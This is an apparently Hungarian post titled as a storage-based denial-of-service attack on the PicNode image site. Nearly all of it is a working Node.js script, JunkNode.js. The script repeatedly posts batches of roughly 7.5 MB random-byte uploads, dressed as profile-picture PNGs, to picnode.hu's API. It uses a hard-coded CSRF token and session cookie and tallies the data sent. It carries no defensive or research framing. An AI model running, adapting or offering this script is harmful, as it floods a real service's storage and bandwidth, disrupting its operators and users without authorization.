Tárhely alapú DoS támadás a PicNode ellen x3

JunkNode.js

const axios = require('axios'),
    crypto = require('crypto');

const csrfToken = 'e4g6F63fa5VaTMse',
    cookie      = 'io=nL7nTpRWQwDOFrBgAAA7; connect.sid=s%3AVQ2S5vY5mA-XY8-iIfCc6_45oORr7HIy.npEMrdSxsnN0XksRUGVx2Nuycj4h2LdaBPtaoRUNq1U',
    //Pár byte-ot módosítottam, azért nem adom oda a sütimet! Nyami
    payload     = 7.499943 * 1024 * 1024,
    cluster     = 10;

let data = {
    request: 'pfp',
    token: csrfToken
};

const options = {
    headers: {
        'User-Agent': 'JunkNode',
        Referer: 'https://picnode.hu/beallitasok/felhasznalo',
        Cookie: cookie
    }
}

let run = true, req = new Array(cluster);
let r = 0, i = 0, ec = 0;

process.on('SIGINT', () => {
    console.log('\nFinishing up...');
    run = false;
});

function progressBar(val, max, char = 20){
    let pr = val * 100 / max;
    val = Math.round(val * char / max);
    let pb = '';
    for(let j = 0; j < val; j++) pb += '█';
    for(let j = val; j < char; j++) pb += ' ';
    process.stdout.write(`\r[${pb}] ${pr.toFixed(2)}%`);
}

async function main(){
    while(run){
        console.log(`Iteration #${i}`);
        progressBar(0, 1);
        for(let i = 0; i < cluster; i++){
            data.image = 'data:image/png;base64,' + crypto.randomBytes(payload).toString('base64');
            req[i] = axios.post('https://picnode.hu/api', data, options)
                .then(() => {
                    r++;
                    progressBar(r, cluster);
                })
                .catch(e => {
                    //run = false;
                    ec++;
                    //console.log('\nError = ' + e.message);
                });
        }
        await Promise.all(req);
        r = 0;
        i++;
        console.log('\n');
    }
    console.log('Attack stopped');
    console.log(`Transferred data = ~${Math.floor((i * cluster - ec) * payload / (1024 * 1024))}MB`);
    console.log(`Payloads lost = ${ec}  ~${Math.round(ec * payload / (1024 * 1024))}MB`)
}

main();